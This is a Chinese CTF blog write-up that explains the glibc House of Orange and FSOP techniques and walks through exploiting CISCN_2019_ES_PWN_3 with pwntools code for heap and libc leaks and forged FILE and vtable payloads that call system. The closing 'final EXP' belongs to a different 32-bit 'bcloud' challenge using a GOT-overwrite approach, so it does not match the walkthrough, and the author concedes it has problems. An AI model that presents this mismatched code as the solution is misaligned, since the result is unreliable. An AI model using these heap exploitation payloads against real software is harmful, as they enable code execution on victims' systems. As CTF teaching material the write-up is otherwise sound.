0x1 写在前面

本文以CISCN_2019_ES_PWN_3为例题。

0x2 House_of_Orange 原理介绍

考虑这么一种情况,假设在malloc时,程序中的bins里都没有合适的chunk,同时top chunk的大小已经不够用来分配这块内存了。那么此时程序将会调用sysmalloc来向系统申请更多的空间,而我们的目的则是在sysmalloc中的_int_free(),以此来获得一块释放的堆块。

else
{
    void *p = sysmalloc (nb, av); //调用sysmalloc来分配内存
    if (p != NULL)
    alloc_perturb (p, bytes);
    return p;
}

对于堆来说有两种拓展方式,一是通过改变brk来拓展堆,二是通过mmap的方式。其中只有brk拓展的方式才会调用到_int_free()将老的top chunk释放掉,所以还需要满足一些条件。

// 如果所需分配的chunk大小大于mmap分配阈值,默认为128K,
// 并且当前进程使用mmap()分配的内存块小于设定的最大值
// 则将使用mmap()
if (av == NULL 
    || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
    && (mp_.n_mmaps < mp_.n_mmaps_max))) 
    {
        //使用mmap()
    }

由上述代码可知,要想使用brk拓展,需要满足chunk size < 0x‭20000‬
同时,在使用brk拓展之前,还会进行一系列check

// 如果top chunk没有初始化,则size为0
// top chunk的大小需要 >= MINSIZE(有师傅的博客说在64位下是0x20)
// top chunk的inuse位需要是 1
// 检查是否对齐到内存页
assert ((old_top == initial_top (av) && old_size == 0) 
        || ((unsigned long) (old_size) >= MINSIZE 
        && prev_inuse (old_top)
        && ((unsigned long) old_end & pagemask) == 0));

这里主要关注如何对齐到内存页。现代操作系统都是以内存页为单位进行内存管理的,一般内存页大小为4kb(0x1000),那么top chunk的size加上top chunk的地址所得到的值是和0x1000对齐的。如:0x602020+0x20fe0=0x623000

整理以上代码,所需的条件有

  • 分配的chunk大小小于0x‭20000,大于top chunk‬的size
  • top chunk大小大于 MINSIZE(不能太小就行)
  • top chunk的inuse为 1
  • top chunk的大小要对齐到内存页

满足了以上各种条件之后,就可以成功的调用_int_free()来释放top chunk

此后,原先的top chunk将被放入unsorted bin中。
下一次分配时,就将会从unsorted bin中切割合适的大小,而切割下来的chunk的fd和bk的值将会是libc中的地址了,同时,若该chunk是large chunk,在fd_nextsize和bk_nextsizez中还会储存堆中的地址。由此便可以完成泄露了。

0x3 FSOP 原理介绍

因为_IO_FILE结构使用链表的结构管理,表头由_IO_list_all维护。所以FSOP的核心思想就是劫持_IO_list_all的值并伪造链表和其中的_IO_FILE

在此之前,我们先了解一下malloc对错误信息的处理过程.

  1. malloc出错时,会调用malloc_printerr函数来输出错误信息
    if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)|| __builtin_expect (victim->size > av->system_mem, 0))    malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);
    
  2. malloc_printerr又会调用__libc_message;

  3. __libc_message又调用abort;

  4. abort则又调用了_IO_flush_all_lockp

  5. 最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数

    整个流程如下图:

mark

所以如果可以控制_IO_list_all的值,同时够伪造一个_IO_FILE及其vtable并放入FILE链表中,就可以让上述流程进入我们伪造的vtable, 并调用被修改为system_IO_OVERFLOW函数。

但是想要成功调用_IO_OVERFLOW函数还需要绕过一些阻碍

int _IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
        if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
        || (_IO_vtable_offset (fp) == 0
        && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
        ) && _IO_OVERFLOW (fp, EOF) == EOF)
        ...
        ...
        fp = fp->_chain;
  }
}

观察代码发现,_IO_OVERFLOW存在于if之中,根据短路原理,若要执行到_IO_OVERFLOW,就需要让前面的判断都能满足,即:

if
(
    (
        (
            fp->_mode <= 0
         && 
            fp->_IO_write_ptr > fp->_IO_write_base
        )
        || 
        (
            _IO_vtable_offset (fp) == 0 
            &&
            fp->_mode > 0
            && 
            (
                fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
            )
        )
    ) 
    &&
    _IO_OVERFLOW (fp, EOF) == EOF
)

这里我们选择让第一分支满足,即,

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

只需要构造mode_IO_write_ptr_IO_write_base。因为这些都是我们可以伪造的_IO_FILE中的数据,所以比较容易实现。

0x4 以CISCN_2019_ES_PWN_3为例

漏洞点分析

  • 题目保护信息

    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x400000)

    未开启FULL RELRO,可以劫持GOT。

  • 漏洞点

    使用IDA x64分析程序发现程序中没有free函数,所以无法进行常规的堆利用

    程序中的溢出点在这里,只需要抹除末尾的\x00,就可以导致strlen函数获取的size扩大。

    mark

    首先申请一个大小为0xf8chunk,触发prev_size域的复用,紧接着填充0xf8A内存情况如下:

    mark

    如果此时使用strlen函数获取当前Chunk长度,会将0x20f81也认为是Chunk的可编辑范围。

漏洞利用

泄露heap地址

mark

mark

mark

在获取name时,没有用\x00截断,因为namepages ptr相邻,若pages[0]已经有数据,则会泄漏堆的指针 。

# Leak_Heap
sh.recvuntil('name :')
sh.sendline('A'*0x30+'Heap_addr_begin>')
creat(0x18, 'Chunk1')
sh.recvuntil('Your choice :')
sh.sendline('4')
sh.recvuntil('Heap_addr_begin>')
Heap_addr=u64(sh.recvuntil('\x0a').strip('\x0a').ljust(8,'\x00'))-0x10
log.success("Heap address = "+str(hex(Heap_addr)))
sh.recvuntil('Do you want to change the name? (yes:1 / no:0)')
sh.sendline('0')

Free_Top_Chunk

然后,edit我们刚分配的Chunk0,再输入0x18个字符,因为strlen错误的计算的长度,此时Chunk_size[0]sizestrlen(0x18 + strlen(top_chunk_size))

mark

但是发现此时Heap中出现了一块大小为0x1000的Chunk,这是因为我们在刚刚调用Change_name时程序调用了Scanf函数,这会导致 scanf会分配0x1000大小的堆且不回收 。那我们先修改Top_Chunk的size域再泄露Heap。

# Leak_Heap_part_one
sh.recvuntil('name :')
sh.sendline('A'*0x30+'Heap_addr_begin>')
creat(0x18, 'Chunk1')
# Free_Top_Chunk
edit(0,'A'*0x18)
edit(0,'A'*0x18+p64(0xfe1))
# Leak_Heap_part_two
sh.recvuntil('Your choice :')
sh.sendline('4')
sh.recvuntil('Heap_addr_begin>')
Heap_addr=u64(sh.recvuntil('\x0a').strip('\x0a').ljust(8,'\x00'))-0x10
log.success("Heap address = "+str(hex(Heap_addr)))
sh.recvuntil('Do you want to change the name? (yes:1 / no:0)')
sh.sendline('0')

mark

这里我们将Top Chunk的size域改为0xfe1

  • 必然满足:分配的chunk大小小于0x‭20000,大于top chunk‬的size
  • 必然满足:top chunk大小大于 MINSIZE
  • 必然满足:top chunk的inuse为 1
  • 0x1CBD020+0xFE0=0x1CBE000‬和0x1000对齐,满足top chunk的大小要对齐到内存页

接下来 scanf会分配0x1000大小的堆,且0x1000 > 0xfe1。所以,在函数结束后,系统会把top chunk放入unsorted bin里。

mark

改写Chunk_0的Size & Leak libc

窝们分析creat函数可以发现,分配时存在逻辑漏洞

mark

按其逻辑我们可以分配下标为8的page,但是我们在观察page的代码段时可以发现page数组只有64字节长度。

mark

那么我们可以越界写Chunk_0所对应的size。

继续使用edit来编辑pages[0],这时,输入\x00来使得pages[0]size为0,绕过add时候的检测,用来添加pages[8],完成指针覆盖pages[0]size

此时我们需要Add page[1]-page[8], 每个都输入8个字节,这里是为了将unsorted bin addr也就是main_arena + 0x58打印出来(因为此时我们分配的内存都是从unsorted bin切分出来的)。我们可以通过view pages[3]来得到main_arena + 0x58的地址。此时,我们就可以得到libc的基址了。

# Over_write Chunk_size[0] & Leak libc
edit(0,'\x00')
for i in xrange(0, 8):
    creat(0x50, 'Libc--->')
show(4)
sh.recvuntil('Libc--->')
libc_base=u64(sh.recvuntil('\x0a').strip('\x0a').ljust(8,'\x00'))-0x3C4B78
log.success("Libc address = "+str(hex(libc_base)))
unsorted_bin_addr=libc_base+0x3C4B78
log.success("Unsorted bin address = "+str(hex(libc_base)))

接下来使用FSOP进行利用

构造Fake_vtable

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    ......
}

因此我们可以构造

Fake_vtable = p64(0) * 3 + p64(libc_base + libc.symbols['system'])
vtable_addr = heap_addr + 0x310 + 0xe0

在分配一块内存时,首先会从unsorted bin中拆下来一块。

victim = unsorted_chunks(av)->bk
bck = victim->bk;
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

这里将最后一个chunk取出,并把倒数第二个chunk的fd设置为unsorted_chunks(av),这里unsorted_chunks(av)就是main_arena中top成员变量的地址(&main_arena+88)。

//main_arena的结构
struct malloc_state
{
  mutex_t mutex;
  int flags;
  mfastbinptr fastbinsY[NFASTBINS];
  mchunkptr top;    //此处的地址将被写入目标地址
  mchunkptr last_remainder;
  ...
}

构造Fake_Unsorted_bin

首先覆盖Chunk0的data域(0x18长度)以及接下来的Chunk1-Chunk8(每一个是0x60长度)

payload  = '\x00' * (0x10+0x60*8)
payload += '/bin/sh\x00'

接下来覆盖Unsorted_bin的size域,bk域,fd域

payload += p64(0x61) # size
payload += p64(unsorted_bin_addr) # fd
payload += p64(libc_base + libc.symbols['_IO_list_all'] - 0x10) # bk

接下来如果从Unsorted bin分割Chunk将会触发bck->fd = unsorted_chunks(av),即

(_IO_list_all - 0x10) + 0x10 = unsorted_bin_addr

此时,_IO_list_all已经被改写成了unsorted_bin_addr。所以_IO_list_all已经变成了如下内容

$2 = {
  file = {
    ...
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = unsorted_bin_addr + 0x60,  //offset = 0x68
    ...
    _mode = 0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = ... <_IO_file_jumps>
}

然而,unsorted_bin_addr + 0x60small_bin[4]FDBK

又因为,分配内存时,由于unsorted bin的大小已经被我们改写成了0x61,所以会先把unsorted bin加入small_bin[4],所以此时_IO_list_all->_chain指向的内容已经是我们可以控制的了。

_IO_list_all->_chain还是部署一个FILE结构体(此时,这里已经变成unsorted bin

构造Fake_FILE结构体

要执行_IO_OVERFLOW(fp, EOF)必须要满足两点

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

所以,需要满足unsorted bin + 0xC0 <= 0unsorted bin + 0x28 > unsorted bin + 0x20,又因为_IO_OVERFLOWvtable + 0x18处,所以要将vtable + 0x18改为system的地址。

payload += p64(3)
payload += p64(2)
payload  = payload.ljust(0x310+0xc0, '\x00')
payload += p64(0xffffffffffffffff)
payload  = payload.ljust(0x310+0xe0-8, '\x00')
payload += p64(vtable_addr) # vtable_addr = heap_addr + 0x310 + 0xe0
payload += Fake_vtable

最终EXP

(EXP似乎存在一些意料之外的问题)

#encoding:utf-8
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

bcloud=ELF("./bcloud")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
    libc=ELF("../x86_libc.so.6")
else:
    sh = process("./bcloud")
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def creat(chunk_size,value):
    sh.recvuntil('option--->>')
    sh.sendline('1')
    sh.recvuntil('Input the length of the note content:')
    sh.sendline(str(chunk_size))
    sh.recvuntil('Input the content:')
    sh.sendline(value)

def edit(index,value):
    sh.recvuntil('option--->>')
    sh.sendline('3')
    sh.recvuntil('Input the id:')
    sh.sendline(str(index))
    sh.recvuntil('Input the new content:')
    sh.sendline(value)

def delete(index):
    sh.recvuntil('option--->>')
    sh.sendline('4')
    sh.recvuntil('Input the id:')
    sh.sendline(str(index))

sh.recvuntil('Input your name:')
sh.send('A'*0x30+'Heap_base_addr->')
sh.recvuntil('Heap_base_addr->')
Heap_base_addr=u32(sh.recvuntil('!').strip('!'))
log.info('Heap base address is ' + str(hex(Heap_base_addr)))
sh.recvuntil('Org:')
sh.send('B'*0x40)
sh.recvuntil('Host:')
sh.sendline(p32(0xFFFFFFFF))
creat(0x40,'Chunk1')
creat(0x40,'Chunk2')
creat(0x40,'/bin/sh\x00')
creat(0x40,'Chunk4')
old_top_chunk_head=Heap_base_addr+(0x40+0x8)*7
new_top_chunk_head=0x0804B120-0x8
creat(new_top_chunk_head-old_top_chunk_head,'Chunk_fake')
creat(0x40,p32(bcloud.got['puts'])+p32(bcloud.got['free']))
edit(1,p32(bcloud.plt['puts']))
delete(0)
sh.recvline()
libc_base_addr=u32(sh.recv()[:4])-libc.symbols['puts']
system_addr=libc_base_addr+libc.symbols['system']
log.info('Libc base address is ' + str(hex(libc_base_addr)))
sh.sendline('3')
sh.recvuntil('Input the id:')
sh.sendline(str(1))
sh.recvuntil('Input the new content:')
sh.sendline(p32(system_addr))
edit(2,'/bin/sh\x00')
delete(2)
sh.interactive()

0x5 参考链接

堆利用学习之house of orange

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注